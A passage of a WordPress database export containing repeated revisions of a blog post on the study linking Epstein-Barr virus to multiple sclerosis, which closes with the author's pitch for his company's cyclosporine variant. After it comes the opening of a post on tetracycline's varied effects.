While this is a tall order, given <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus_vaccine\">the failures we’ve had in vaccinating against EBV</a> so far, we might be able to argue that we now have a stronger reason than before to look for the vaccine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I say might because we already knew that EBV was bad. Not only did we think it might contribute to MS, there’s also evidence linking it to over <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7462312/\">200,000 cases of cancer each year</a>, mononucleosis, chronic fatigue syndrome, and <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus#Role_in_disease\">some rare autoimmune conditions</a>. So, now we know for sure that EBV is really bad, whereas before we just knew it was quite bad. That may make a greater economic incentive to develop a vaccine, but it’s hard to say by how much.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://media.istockphoto.com/photos/debating-politicians-picture-id171153066?k=20&amp;m=171153066&amp;s=612x612&amp;w=0&amp;h=cJ5ABskevt5_q5RrKY8dj2FIYJLiC_jIAwksr7Nx29s=\" alt=\"1,063 Politicians Arguing Stock Photos, Pictures &amp; Royalty-Free Images -  iStock\"/><figcaption>\"Now I was on board for $80 billion to bomb weddings in Pakistan, but $500k for an EBV vaccine will bankrupt us! We can\'t afford that!\"</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So that leaves us with the last point, that this study might change how we treat MS. This is what the study itself seems to point towards, when it points out that anti-CD20 monoclonal antibodies are already known as effective treatments for MS and that they deplete circulating B cells, which is where EBV hides. They also suggest that EBV antivirals might be a treatment for MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s where things get a little dicey, though. The authors overstep when they say that anti-CD20 monoclonal antibodies are effective treatments for MS. They’re reasonably effective treatments for a certain type of MS, relapsing remitting MS (RRMS). Now, around <a href=\"https://pubmed.ncbi.nlm.nih.gov/30368080/\">75% of people with MS have RRMS</a>, so it is the most common form of MS by far. But, once we start drilling into the other forms of MS and the times when these treatments don’t work, we can get a better sense of the issue with coming up with better forms of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s always a clash between our neat model of how a disease works and how it actually works in the body. In the EBV-MS paper and <a href=\"https://www.science.org/doi/10.1126/science.abm7930\">its companion commentary</a>, the authors give a neat model of MS that goes like the following: EBV viral protein sequences look like some of the protein sequences of myelin, the insulating sheath that covers neurons. When B cells learn to attack EBV, they occasionally also accidentally learn to attack myelin sheaths. As neurons live in the brian, B cells also become adept at crossing over the blood-brain barrier to attack these myelin sheaths, and then the neurons themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This model has some experimental evidence. But, if you just follow this model, you would be left with the misleading impression that there’s a one way street: EBV infection leads to B cell sensitization leads to myelin sheath destruction leads to neuron death. This is not the case at all. Not only do the vast majority of EBV infections not lead to MS, but the majority of MS cases don’t end up in this one way street sort of scenario. The majority of MS cases are, as mentioned, <em>relapsing remitting</em>: they spend most of their time feeling ok, and then, a few times a year, they feel terrible, as their immune system decides to attack their myelin sheaths again.&nbsp; Only a minority of cases get progressively worse over time, which is called progressive MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the opposite of what you would expect based on the model outlined above. More importantly, when we get down to the essential issue of “how do we treat MS”, <a href=\"https://journals.sagepub.com/doi/full/10.1177/1352458517751049\">the only people who are amenable to treatments that deplete B cells are the RRMS people</a>, which is, again, the opposite of what you’d expect. Even those treatments don’t work perfectly, though. They can halve the number of MS attacks, but they can’t stop them completely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For people with progessive MS, there are currently no great treatments, although I have reasons to believe my company’s lead drug might be a good one [2]. This doesn’t fit in with the model of MS outlined in the paper at all, and also makes you wonder about why EBV leads to RRMS in most people and progressive MS in others, assuming that it is behind both kinds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, once again, we have to ask: now what? In the past, epidemiological studies have led us to better water sanitation, smoking restrictions, and pesticide bans. Those were studies with some teeth to them. But for this study, we just have to look at it and say, “Neat”, then put it out of our minds. It’s a pity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] In America, around <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of people</a> have had EBV by the time they reach adulthood. If this seems surprising to you, keep in mind that if you’ve ever been in close contact with someone who developed mono, you almost certainly had EBV. Meanwhile, only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the challenge of this study was to prove that this super common virus is a necessary, but not sufficient condition for developing MS. But how do you do that if almost everyone gets EBV eventually?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, the first way they did it was to look at a bunch of blood serum samples collected over decades of an adult’s life in the hopes that it would capture before and after they got EBV, in the hopes that it would reveal MS developing after EBV. In this study, those samples were collected from military personnel, who normally get their blood samples at around age 18. Lo and behold, of the 801 military MS cases with serum samples, only 1 developed MS before developing EBV. The rest developed MS 0-10 years after getting EBV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s already pretty suggestive. But, it leaves open the possibility that people just tend to get infected with EBV when they’re younger, and get MS when they’re older. So, the authors’ second piece of evidence was based on the percentage of people who get exposed to EBV versus the percentage of people who develop antibodies to it. They found that only 57% of the non-MS controls who were exposed to EBV developed antibodies (seroconverted), while 97% of the MS cases developed antibodies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given that the authors have a good argument as to why antibodies to EBV are the mechanism by which EBV causes MS (which I talk about elsewhere), this seems like some solid proof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] This is a big claim, but I have evidence!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My company’s lead drug is a safer version of cyclosporine. Cyclosporine is a potent immunosuppressant that’s notoriously hard to dose correctly, and overdoses are extremely common.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Multiple sclerosis has long been suspected to be an immune-related disease. As such, pretty much every kind of immunosuppressant has been thrown at MS at one point or another. As such, cyclosporine has been thrown at every kind of MS at one point or another.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Unfortunately, cyclosporine does not work that well in RRMS. It works ok, but not as well as the other drugs and it’s a lot more dangerous. However, what’s interesting is that when they tried it in progressive MS, <a href=\"https://doi.org/10.1002/ana.410270603\">it actually worked ok</a>, halving the average annual increase in disability score (EDSS). This never ended up being put into clinical practice, though, because of how common severe side effects are for patients on cyclosporine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My contention is that my version of cyclosporine is way safer than the old version of cyclosporine tested. So, you can get all the benefits with way fewer of the side effects. I’m currently raising money to test this so…wish me luck!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The recent “<a href=\"https://www.science.org/doi/10.1126/science.abj8222\">Epstein-Barr virus causes multiple sclerosis study</a>” is very cool and a model for future epidemiological studies. First, it very strongly suggests that the Epstein-Barr virus (EBV) is behind at least a majority of multiple sclerosis (MS) cases in the US, which is a big deal for a condition which has long had mysterious origins. Also, it proved a causative effect with one very common infection and one relatively rare neurological condition, which is difficult on both counts (for details on how they did this, check footnote [1]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I’d like to applaud this study. I’d also like to ask, “So what?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t mean to be rude. It really is a cool study, and maybe it doesn’t need a follow-up. Maybe it can just stand on its own, like a cool prog-rock album.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>But if we did want to follow it up, we’d probably want to follow it up along one of these lines:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Changing how we think about preventing MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Changing how we think about the importance of preventing EBV</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Changing how we treat MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult to know how we’d start with any of these. Let’s start with the top of the list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This study firmly established that EBV is a necessary condition for at least most MS. Or, in other words, while it’s unlikely you’ll get MS at all, it’s very unlikely you’ll get MS without getting antibodies to EBV first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t entirely surprising. Not only had these authors done <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.21978\">a suggestive preliminary study with the same data in 2010</a>, we’ve long known that infectious mononucleosis, a manifestation of EBV, is <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.20820\">a major risk factor for MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More importantly, however, we don’t know the rest of the factors that contribute to MS. <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of adults in the US have had EBV</a>, while only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>. There must be other factors that make those 0.3% get MS while the other 89.7% do not, but it’s unclear what they are.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the only way we could really change how we prevent MS is by doing something like preventing infection from EBV. While this is a tall order, given <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus_vaccine\">the failures we’ve had in vaccinating against EBV</a> so far, we might be able to argue that we now have a stronger reason than before to look for the vaccine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I say might because we already knew that EBV was bad. Not only did we think it might contribute to MS, there’s also evidence linking it to over <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7462312/\">200,000 cases of cancer each year</a>, mononucleosis, chronic fatigue syndrome, and <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus#Role_in_disease\">some rare autoimmune conditions</a>. So, now we know for sure that EBV is really bad, whereas before we just knew it was quite bad. That may make a greater economic incentive to develop a vaccine, but it’s hard to say by how much.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So that leaves us with the last point, that this study might change how we treat MS. This is what the study itself seems to point towards, when it points out that anti-CD20 monoclonal antibodies are already known as effective treatments for MS and that they deplete circulating B cells, which is where EBV hides. They also suggest that EBV antivirals might be a treatment for MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s where things get a little dicey, though. The authors overstep when they say that anti-CD20 monoclonal antibodies are effective treatments for MS. They’re reasonably effective treatments for a certain type of MS, relapsing remitting MS (RRMS). Now, around <a href=\"https://pubmed.ncbi.nlm.nih.gov/30368080/\">75% of people with MS have RRMS</a>, so it is the most common form of MS by far. But, once we start drilling into the other forms of MS and the times when these treatments don’t work, we can get a better sense of the issue with coming up with better forms of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s always a clash between our neat model of how a disease works and how it actually works in the body. In the EBV-MS paper and <a href=\"https://www.science.org/doi/10.1126/science.abm7930\">its companion commentary</a>, the authors give a neat model of MS that goes like the following: EBV viral protein sequences look like some of the protein sequences of myelin, the insulating sheath that covers neurons. When B cells learn to attack EBV, they occasionally also accidentally learn to attack myelin sheaths. As neurons live in the brian, B cells also become adept at crossing over the blood-brain barrier to attack these myelin sheaths, and then the neurons themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This model has some experimental evidence. But, if you just follow this model, you would be left with the misleading impression that there’s a one way street: EBV infection leads to B cell sensitization leads to myelin sheath destruction leads to neuron death. This is not the case at all. Not only do the vast majority of EBV infections not lead to MS, but the majority of MS cases don’t end up in this one way street sort of scenario. The majority of MS cases are, as mentioned, <em>relapsing remitting</em>: they spend most of their time feeling ok, and then, a few times a year, they feel terrible, as their immune system decides to attack their myelin sheaths again.&nbsp; Only a minority of cases get progressively worse over time, which is called progressive MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the opposite of what you would expect based on the model outlined above. More importantly, when we get down to the essential issue of “how do we treat MS”, <a href=\"https://journals.sagepub.com/doi/full/10.1177/1352458517751049\">the only people who are amenable to treatments that deplete B cells are the RRMS people</a>, which is, again, the opposite of what you’d expect. Even those treatments don’t work perfectly, though. They can halve the number of MS attacks, but they can’t stop them completely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For people with progessive MS, there are currently no great treatments, although I have reasons to believe my company’s lead drug might be a good one [2]. This doesn’t fit in with the model of MS outlined in the paper at all, and also makes you wonder about why EBV leads to RRMS in most people and progressive MS in others, assuming that it is behind both kinds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, once again, we have to ask: now what? In the past, epidemiological studies have led us to better water sanitation, smoking restrictions, and pesticide bans. Those were studies with some teeth to them. But for this study, we just have to look at it and say, “Neat”, then put it out of our minds. It’s a pity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] In America, around <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of people</a> have had EBV by the time they reach adulthood. If this seems surprising to you, keep in mind that if you’ve ever been in close contact with someone who developed mono, you almost certainly had EBV. Meanwhile, only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the challenge of this study was to prove that this super common virus is a necessary, but not sufficient condition for developing MS. But how do you do that if almost everyone gets EBV eventually?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, the first way they did it was to look at a bunch of blood serum samples collected over decades of an adult’s life in the hopes that it would capture before and after they got EBV, in the hopes that it would reveal MS developing after EBV. In this study, those samples were collected from military personnel, who normally get their blood samples at around age 18. Lo and behold, of the 801 military MS cases with serum samples, only 1 developed MS before developing EBV. The rest developed MS 0-10 years after getting EBV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s already pretty suggestive. But, it leaves open the possibility that people just tend to get infected with EBV when they’re younger, and get MS when they’re older. So, the authors’ second piece of evidence was based on the percentage of people who get exposed to EBV versus the percentage of people who develop antibodies to it. They found that only 57% of the non-MS controls who were exposed to EBV developed antibodies (seroconverted), while 97% of the MS cases developed antibodies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given that the authors have a good argument as to why antibodies to EBV are the mechanism by which EBV causes MS (which I talk about elsewhere), this seems like some solid proof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] This is a big claim, but I have evidence!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My company’s lead drug is a safer version of cyclosporine. Cyclosporine is a potent immunosuppressant that’s notoriously hard to dose correctly, and overdoses are extremely common.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Multiple sclerosis has long been suspected to be an immune-related disease. As such, pretty much every kind of immunosuppressant has been thrown at MS at one point or another. As such, cyclosporine has been thrown at every kind of MS at one point or another.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Unfortunately, cyclosporine does not work that well in RRMS. It works ok, but not as well as the other drugs and it’s a lot more dangerous. However, what’s interesting is that when they tried it in progressive MS, <a href=\"https://doi.org/10.1002/ana.410270603\">it actually worked ok</a>, halving the average annual increase in disability score (EDSS). This never ended up being put into clinical practice, though, because of how common severe side effects are for patients on cyclosporine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My contention is that my version of cyclosporine is way safer than the old version of cyclosporine tested. So, you can get all the benefits with way fewer of the side effects. I’m currently raising money to test this so…wish me luck!</p>\n<!-- /wp:paragraph -->','EBV causes multiple sclerosis. So what?','','inherit','closed','closed','','263-revision-v1','','','2022-02-07 22:30:37','2022-02-07 22:30:37','',263,'https://trevorklee.com/?p=267',0,'revision','',0),
(268,1,'2022-02-08 05:01:18','2022-02-08 05:01:18','<!-- wp:paragraph -->\n<p><em>If you like this post and want to see more, <a href=\"https://trevorklee.substack.com/\">subscribe to my Substack</a>.</em></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The recent “<a href=\"https://www.science.org/doi/10.1126/science.abj8222\">Epstein-Barr virus causes multiple sclerosis study</a>” is very cool and a model for future epidemiological studies. First, it very strongly suggests that the Epstein-Barr virus (EBV) is behind at least a majority of multiple sclerosis (MS) cases in the US, which is a big deal for a condition which has long had mysterious origins. Also, it proved a causative effect with one very common infection and one relatively rare neurological condition, which is difficult on both counts (for details on how they did this, check footnote [1]).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, I’d like to applaud this study. I’d also like to ask, “So what?”</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I don’t mean to be rude. It really is a cool study, and maybe it doesn’t need a follow-up. Maybe it can just stand on its own, like a cool prog-rock album.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://www.udiscovermusic.com/wp-content/uploads/2020/09/Best-Prog-Rock-Albums.jpg\" alt=\"The 50 Greatest Prog Rock Albums Of All Time | uDiscover\"/><figcaption>Top Google result for \"cool prog-rock album\".</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>But if we did want to follow it up, we’d probably want to follow it up along one of these lines:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Changing how we think about preventing MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Changing how we think about the importance of preventing EBV</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Changing how we treat MS</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s difficult to know how we’d start with any of these. Let’s start with the top of the list.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This study firmly established that EBV is a necessary condition for at least most MS. Or, in other words, while it’s unlikely you’ll get MS at all, it’s very unlikely you’ll get MS without getting antibodies to EBV first.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This isn’t entirely surprising. Not only had these authors done <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.21978\">a suggestive preliminary study with the same data in 2010</a>, we’ve long known that infectious mononucleosis, a manifestation of EBV, is <a href=\"https://onlinelibrary.wiley.com/doi/abs/10.1002/ana.20820\">a major risk factor for MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>More importantly, however, we don’t know the rest of the factors that contribute to MS. <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of adults in the US have had EBV</a>, while only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>. There must be other factors that make those 0.3% get MS while the other 89.7% do not, but it’s unclear what they are.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the only way we could really change how we prevent MS is by doing something like preventing infection from EBV. While this is a tall order, given <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus_vaccine\">the failures we’ve had in vaccinating against EBV</a> so far, we might be able to argue that we now have a stronger reason than before to look for the vaccine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I say might because we already knew that EBV was bad. Not only did we think it might contribute to MS, there’s also evidence linking it to over <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC7462312/\">200,000 cases of cancer each year</a>, mononucleosis, chronic fatigue syndrome, and <a href=\"https://en.wikipedia.org/wiki/Epstein%E2%80%93Barr_virus#Role_in_disease\">some rare autoimmune conditions</a>. So, now we know for sure that EBV is really bad, whereas before we just knew it was quite bad. That may make a greater economic incentive to develop a vaccine, but it’s hard to say by how much.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:image -->\n<figure class=\"wp-block-image\"><img src=\"https://media.istockphoto.com/photos/debating-politicians-picture-id171153066?k=20&amp;m=171153066&amp;s=612x612&amp;w=0&amp;h=cJ5ABskevt5_q5RrKY8dj2FIYJLiC_jIAwksr7Nx29s=\" alt=\"1,063 Politicians Arguing Stock Photos, Pictures &amp; Royalty-Free Images -  iStock\"/><figcaption>\"Now I was on board for $80 billion to bomb weddings in Pakistan, but $500k for an EBV vaccine will bankrupt us! We can\'t afford that!\"</figcaption></figure>\n<!-- /wp:image -->\n\n<!-- wp:paragraph -->\n<p>So that leaves us with the last point, that this study might change how we treat MS. This is what the study itself seems to point towards, when it points out that anti-CD20 monoclonal antibodies are already known as effective treatments for MS and that they deplete circulating B cells, which is where EBV hides. They also suggest that EBV antivirals might be a treatment for MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Here’s where things get a little dicey, though. The authors overstep when they say that anti-CD20 monoclonal antibodies are effective treatments for MS. They’re reasonably effective treatments for a certain type of MS, relapsing remitting MS (RRMS). Now, around <a href=\"https://pubmed.ncbi.nlm.nih.gov/30368080/\">75% of people with MS have RRMS</a>, so it is the most common form of MS by far. But, once we start drilling into the other forms of MS and the times when these treatments don’t work, we can get a better sense of the issue with coming up with better forms of treatment.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s always a clash between our neat model of how a disease works and how it actually works in the body. In the EBV-MS paper and <a href=\"https://www.science.org/doi/10.1126/science.abm7930\">its companion commentary</a>, the authors give a neat model of MS that goes like the following: EBV viral protein sequences look like some of the protein sequences of myelin, the insulating sheath that covers neurons. When B cells learn to attack EBV, they occasionally also accidentally learn to attack myelin sheaths. As neurons live in the brian, B cells also become adept at crossing over the blood-brain barrier to attack these myelin sheaths, and then the neurons themselves.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This model has some experimental evidence. But, if you just follow this model, you would be left with the misleading impression that there’s a one way street: EBV infection leads to B cell sensitization leads to myelin sheath destruction leads to neuron death. This is not the case at all. Not only do the vast majority of EBV infections not lead to MS, but the majority of MS cases don’t end up in this one way street sort of scenario. The majority of MS cases are, as mentioned, <em>relapsing remitting</em>: they spend most of their time feeling ok, and then, a few times a year, they feel terrible, as their immune system decides to attack their myelin sheaths again.&nbsp; Only a minority of cases get progressively worse over time, which is called progressive MS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>This is the opposite of what you would expect based on the model outlined above. More importantly, when we get down to the essential issue of “how do we treat MS”, <a href=\"https://journals.sagepub.com/doi/full/10.1177/1352458517751049\">the only people who are amenable to treatments that deplete B cells are the RRMS people</a>, which is, again, the opposite of what you’d expect. Even those treatments don’t work perfectly, though. They can halve the number of MS attacks, but they can’t stop them completely.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>For people with progessive MS, there are currently no great treatments, although I have reasons to believe my company’s lead drug might be a good one [2]. This doesn’t fit in with the model of MS outlined in the paper at all, and also makes you wonder about why EBV leads to RRMS in most people and progressive MS in others, assuming that it is behind both kinds.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, once again, we have to ask: now what? In the past, epidemiological studies have led us to better water sanitation, smoking restrictions, and pesticide bans. Those were studies with some teeth to them. But for this study, we just have to look at it and say, “Neat”, then put it out of our minds. It’s a pity.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] In America, around <a href=\"https://www.cdc.gov/epstein-barr/about-ebv.html\">90% of people</a> have had EBV by the time they reach adulthood. If this seems surprising to you, keep in mind that if you’ve ever been in close contact with someone who developed mono, you almost certainly had EBV. Meanwhile, only <a href=\"https://n.neurology.org/content/92/10/e1029\">0.3% of adults have MS</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, the challenge of this study was to prove that this super common virus is a necessary, but not sufficient condition for developing MS. But how do you do that if almost everyone gets EBV eventually?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Well, the first way they did it was to look at a bunch of blood serum samples collected over decades of an adult’s life in the hopes that it would capture before and after they got EBV, in the hopes that it would reveal MS developing after EBV. In this study, those samples were collected from military personnel, who normally get their blood samples at around age 18. Lo and behold, of the 801 military MS cases with serum samples, only 1 developed MS before developing EBV. The rest developed MS 0-10 years after getting EBV.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So, that’s already pretty suggestive. But, it leaves open the possibility that people just tend to get infected with EBV when they’re younger, and get MS when they’re older. So, the authors’ second piece of evidence was based on the percentage of people who get exposed to EBV versus the percentage of people who develop antibodies to it. They found that only 57% of the non-MS controls who were exposed to EBV developed antibodies (seroconverted), while 97% of the MS cases developed antibodies.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Given that the authors have a good argument as to why antibodies to EBV are the mechanism by which EBV causes MS (which I talk about elsewhere), this seems like some solid proof.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[2] This is a big claim, but I have evidence!</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My company’s lead drug is a safer version of cyclosporine. Cyclosporine is a potent immunosuppressant that’s notoriously hard to dose correctly, and overdoses are extremely common.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Multiple sclerosis has long been suspected to be an immune-related disease. As such, pretty much every kind of immunosuppressant has been thrown at MS at one point or another. As such, cyclosporine has been thrown at every kind of MS at one point or another.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><br>Unfortunately, cyclosporine does not work that well in RRMS. It works ok, but not as well as the other drugs and it’s a lot more dangerous. However, what’s interesting is that when they tried it in progressive MS, <a href=\"https://doi.org/10.1002/ana.410270603\">it actually worked ok</a>, halving the average annual increase in disability score (EDSS). This never ended up being put into clinical practice, though, because of how common severe side effects are for patients on cyclosporine.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>My contention is that my version of cyclosporine is way safer than the old version of cyclosporine tested. So, you can get all the benefits with way fewer of the side effects. I’m currently raising money to test this so…wish me luck!</p>\n<!-- /wp:paragraph -->','EBV causes multiple sclerosis. So what?','','inherit','closed','closed','','263-revision-v1','','','2022-02-08 05:01:18','2022-02-08 05:01:18','',263,'https://trevorklee.com/?p=268',0,'revision','',0),
(270,1,'2022-03-10 21:10:19','2022-03-10 21:10:19','<!-- wp:paragraph -->\n<p>The difference between a drug’s “therapeutic effect” and “side effects” is, of course, a matter of perspective. Sildenafil was a drug for hypertension before it was repurposed as a treatment for erectile dysfunction, medicalizing the condition in the process (an earlier attempt, involving <a href=\"https://en.wikipedia.org/wiki/Giles_Brindley\">showing the entire American Urological Association a chemically induced erection</a>, was less successful).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With that in mind, I’d like to explore the effects of one of my favorite drugs, tetracycline. Tetracycline (and its numerous derivatives, like minocycline and doxycycline) is best-known as an antibiotic, but here’s <a href=\"https://en.wikipedia.org/wiki/Tetracycline_antibiotics#Side_effects\">an incomplete list of everything you might expect to experience</a> if you take it:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Treatment of bacterial infection</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Lessening of skin redness</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Malaria prophylaxis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Increased sensitivity to the sun</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Stomach upset</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. Headache and visual problems, caused by intracranial hypertension</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. Teeth graying, including if you’re a fetus whose mom has taken tetracycline</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8. Fatty liver</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>9. Worsening kidney failure</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>10. Increased muscle weakness in myasthenia gravis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>11. Treatment of Kaposi Sarcoma</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>12. Lessening of diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>13. Mental confusion</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a scientist, meanwhile, you can also use tetracycline to control transcriptional activation (<a href=\"https://en.wikipedia.org/wiki/Tetracycline-controlled_transcriptional_activation\">the Tet-On or Tet-Off systems</a>) or check if wildlife are consuming a certain bait by dosing their bait with tetracycline and then checking their teeth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s an amazingly long list. While there are a number of specific mechanisms for each of the effects, the central reason that tetracycline has so many effects is that it’s a weapon of biological warfare. It was isolated from a soil sample containing a bacteria called Streptomyces rimosus, which uses it to prevent its rivals from creating proteins and thus growing. Such a 